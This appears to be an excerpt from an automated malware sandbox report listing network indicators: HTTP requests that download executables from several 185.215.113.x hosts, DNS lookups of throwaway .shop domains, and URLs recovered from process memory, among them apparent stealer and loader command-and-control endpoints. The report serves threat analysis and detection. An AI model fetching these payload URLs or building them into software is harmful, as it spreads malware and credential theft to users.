Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/nss3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/softokn3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/vcruntime140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/newbundle2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /inc/rstxdhuj.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 91.202.233.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/cccc2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic HTTP traffic detected: GET /inc/neon.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: penis.exe, 00000018.00000002.2884267791.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $]q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: penis.exe, 00000018.00000002.2884267791.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: penis.exe, 00000018.00000002.2884267791.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: penis.exe, 00000018.00000002.2884267791.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`,]q equals www.youtube.com (Youtube)
Source: penis.exe, 00000018.00000002.2884267791.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `,]q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: google.com
Source: global traffic DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: ballotnwu.site
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: www.youtube.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.95/thebig/stories.exe
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.95/thebig/stories.exe-1W
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.95/thebig/stories.exe11
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.95/thebig/stories.exeD
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://176.113.115.95/thebig/stories.exeebf0fv
Source: axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.103/mine/random.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.103/steam/random.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.117/inc/LummaC222222.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.117/inc/LummaC222222.exeY5
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.117/inc/crypted.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.117/inc/crypted.exel&
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.117/inc/needmoney.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.117/inc/needmoney.exeu5n
Source: axplong.exe, 00000006.00000003.3054813558.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3054813558.0000000001620000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3140584868.000000000167D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000003.3054813558.0000000001671000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phph
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/cccc2.exeF
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/cccc2.exeL
Source: axplong.exe, 00000006.00000003.2999105107.0000000001658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/cccc2.exelF
Source: axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/neon.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/newbundle2.exe
Source: axplong.exe, 00000006.00000003.2999105107.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3054813558.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3140584868.000000000167D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2999421029.0000000001677000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/newbundle2.exe5
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/newbundle2.exeU:
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/penis.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/rstxdhuj.exe
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/rstxdhuj.exez&
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/stealc_default2.exeG
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/inc/stealc_default2.exei
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2996721656.0000000000F8C000.00000004.00000001.01000000.00000012.sdmp, stealc_default2.exe, 00000013.00000002.2996721656.00000000010FD000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: http://185.215.113.17
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007C9000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2996721656.00000000010FD000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php3
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007C9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php4
Source: stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpbird
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpf
Source: stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpinomi
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007C9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpp
Source: stealc_default2.exe, 00000013.00000002.2996721656.00000000010FD000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phption:
Source: stealc_default2.exe, 00000013.00000002.2994583849.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpwser
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/freebl3.dll
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/mozglue.dll
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllfaHD
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllpaFD
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/nss3.dll
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/nss3.dllq&
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dll
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dllJa
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000013.00000002.2996721656.0000000000FBA000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/sqlite3.dll
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/vcruntime140.dll
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.17/oj
Source: stealc_default2.exe, 00000013.00000002.2996721656.00000000010FD000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: http://185.215.113.172fb6c2cc8dce150a.phption:
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/15.113.26/y
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/3405117-2476756634-1003
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/6122658-3693405117-2476756634-1003
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000012.00000002.3336638317.0000000000798000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.php
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.php6
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.php65001
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpE
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpG
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpK
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpM
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpPROFILE=user-PCUSg
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpQ
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpW
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpWindows
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpWindows_NTPath=C:
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpY
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.php_
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phph
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpjavapath;C:
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phplfons
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phps
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phptoIt3
Source: Hkbsse.exe, 00000012.00000002.3336638317.0000000000806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Dem7kTu/index.phpy
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Nework.exeX
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/Nework.exep
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/ferences.SourceAumid
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/lfons
Source: Hkbsse.exe, 00000012.00000002.3336638317.00000000007F3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.26/rage.Streams.DataWriter
Source: axplong.exe, 00000006.00000003.3054813558.000000000162D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.000000000162D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://194.116.215.195/12dsvc.exe
Source: svchost015.exe, 00000020.00000002.3006538986.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: svchost.exe, 0000001A.00000002.3344988955.0000019DEAC00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: needmoney.exe, 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002DF8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
